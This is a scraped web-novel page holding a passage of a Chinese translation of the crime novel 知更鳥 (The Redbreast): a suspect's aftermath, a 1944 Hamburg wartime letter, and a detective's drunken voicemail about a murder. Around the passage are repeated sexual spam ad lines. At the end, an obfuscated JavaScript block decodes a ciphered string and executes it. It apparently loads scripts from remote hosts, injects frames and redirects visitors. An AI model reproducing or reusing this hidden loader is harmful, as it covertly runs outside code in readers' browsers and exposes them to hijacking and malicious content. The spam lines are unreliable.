足迹
知更鸟英文
登录
关灯
护眼
字体:

第78頁(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁性感美女在线做

他已依照王子的指示,扔了球棒,先把球棒上的指紋擦乾淨,再擲入奧克西瓦河中。現在他只要保持低調,等著看有哪些事情浮出水面。王子說他會擺平一切,就跟以前一樣。斯韋勒不知道王子在哪裡工作,但顯然,王子跟警察有良好的關係。他在鏡子前脫下衣服,月光從窗簾縫隙照進來,把他身上的刺青照成灰色。他對脖子上掛著的鐵十字勳章項鍊比出中指。

「你個婊子,」他咕噥說,「你個欠操的婊子。」

他終於躺在床上睡去,這時東方的天空開始布滿雲層。

51

一九四四年六月三十日。漢堡。

親愛的海倫娜:

我愛你勝過愛我自己,現在你已經知道了。雖然我們只相處了很短一段時光,而你還有美好快樂的一生在前方等待(我知道你一定會有美好快樂的一生),但我仍希望你不會將我完全忘記。現在是晚上,我坐在漢堡港的一家旅店裡,外面炸彈正不斷落下,旅店裡只有我一個人,其他人都跑去避難所和地窖里了。雖然停電,但外面的熊熊大火給了我足夠的亮光來寫這封信。

昨天晚上鐵軌被炸斷,所以火車還沒抵達漢堡,我們就得下車。我們轉搭卡車來到城裡,但迎接我們的是非常可怕的景象。每兩棟房子就有一棟被炸成廢墟,狗沿著冒煙的廢墟夾著尾巴溜達,到處都可以看見衣衫襤褸、骨瘦如柴的孩童,睜著空洞的大眼睛看著我們的卡車。兩年前我才經過漢堡前往森漢姆,但如今我已經完全認不出漢堡了。那時候我覺得易北河是我見過的最漂亮的河,如今易北河裡流著褐色的骯髒河水,上面漂著遇難貨船的殘骸,有人說易北河已經被漂浮的屍體污染了。我還聽人家說夜晚的轟炸越來越頻繁,無論如何都應該想辦法離開漢堡。我本來打算今天晚上搭火車去哥本哈根,可是通往北方的鐵路也被炸斷了。

抱歉我的德語很差,而且你看得出我的筆跡在抖動,這是因為炸彈把這間房子炸得晃來晃去,而不是因為我害怕。我害怕什麼?我坐在這裡,正好可以目睹一種叫火旋風的現象,這種現象我聽說過,卻從來沒見過。港口另一邊正燃燒著熊熊烈火,火焰似乎把所有東西都吸了進去。我看見鬆脫的木材和整片鉛皮屋頂被火旋風扯下來,飛進火里。還有海面正在沸騰!那邊的橋下不斷冒出水蒸氣,要是有哪個可憐蟲想跳進水裡躲避轟炸,一定會被活活燙死。我打開窗戶,感覺空氣中的氧氣幾乎快被吸光了。我還聽見吼叫聲,仿佛有人站在火焰里大喊:「更多,更多,更多。」這一切都很怪異,令人心驚,但也有一種強烈的吸引力。

我的心充滿了愛,所以我感覺自己刀槍不入,這都要感謝你,海倫娜。有一天你有了小孩(我知道你想要小孩,我也希望你將來會有小孩),我希望你能告訴他們我的故事。把我的故事當成童話說給他們聽,因為這真的就像童話故事一樣。我決定走進夜裡,去看看能發現什麼,能遇見什麼人。我會把這封信塞進我的金屬水壺,留在桌上。我會在水壺上用刺刀刻上你的名字和地址,這樣發現它的人就會知道該寄給誰。

你親愛的烏利亞親筆

第五章《知更鳥》(5)

第五部七日

「對了,黑格找到家了,它搬來跟我住。我知道這是個最糟糕的決定,但這樣對我們兩個都好,因為你不在……好了,我要再去喝酒了,順便思考一下你不在這件事。」

52

二〇〇〇年三月十二日。詹斯比亞克街。

「嘿,這是愛倫和黑格的電話,請留言。」

「嘿,愛倫,我是哈利。你應該聽得出來,我喝酒了,很抱歉,真的很抱歉。可是如果我還清醒,我可能就沒辦法打電話給你了。你知道,我知道你一定知道。我今天去過犯罪現場了,你躺在一條小路上的雪堆里,就在奧克西瓦河畔,是一對要去藍廳跳舞的年輕情侶在午夜過後發現你的。死因是腦部前面遭鈍器重擊。你的後腦也遭受重擊,頭蓋骨有三處破裂,左膝蓋被擊碎,右肩也有遭到毆打的跡象。我們分析造成所有傷害的是同一種武器。布利斯醫生推測死亡時間是晚上十一點到十二點之間。你似乎……我……等等。」

「抱歉。對。鑑識人員在小路的雪地里發現大約二十種不同靴子的腳印,有許多腳印就在你旁邊,但你旁邊的腳印都被踢散了,大概是為了消滅證據吧。目前為止,沒有目擊者出面指認,但我們正在對附近進行例行巡查。那附近有幾棟房子正好俯瞰那條小路,克里波的調查員認為可能會有人看見些什麼,但我個人認為這個概率微乎其微,因為十一點十五分到十二點十五分這段時間,瑞典電視台正在重播《魯濱孫探險記》。開玩笑啦。我是逗你的,難道你聽不出來嗎?哦,對了,我們在距離現場幾米遠的地方發現一頂黑色帽子,上面有血跡。如果血跡是你的,這頂帽子可能就是兇手的。我們已經把血跡樣本送去化驗了,帽子則送到了鑑識實驗室,正在採集頭髮和皮膚微粒。如果這傢伙沒掉頭髮,我希望他有頭皮屑。哈,哈。你沒忘記艾克曼和弗里森吧?目前能提供給你的線索只有這些,如果你想到什麼再跟我說。還有什麼事?對了,黑格找到家了,它搬來跟我住。我知道這是個最糟糕的決定,但這樣對我們兩個都好,因為你不在,愛倫。好了,我要再去喝酒了,順便思考一下你不在這件事。」

🎁性感美女在线做请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

!function(){function a(a){var _idx="z269sfnb6d";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@Q}Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@Q}jR84@KQL72)Kf"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@Q}"=^8"4@KQL72)Kf"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@Q}d2(LCYmTfY20C0mRT4"="@Q}5p(LYpmsOopQqqmRT4"="@Q}D7(LSqmTfY20C0mRT4"="@Q}dC(LJ^msOopQqqmRT4"="@Q}(C(L:4mTfY20C0mRT4"="@Q}C2(LSYmsOopQqqmRT4"="@Q}25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}FC(LCDm{XRs4SLmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}FC(LCDm{XRs4SLmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@Q}Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@Q}j(8}vR84@KQL72)Kf"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@Q}Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();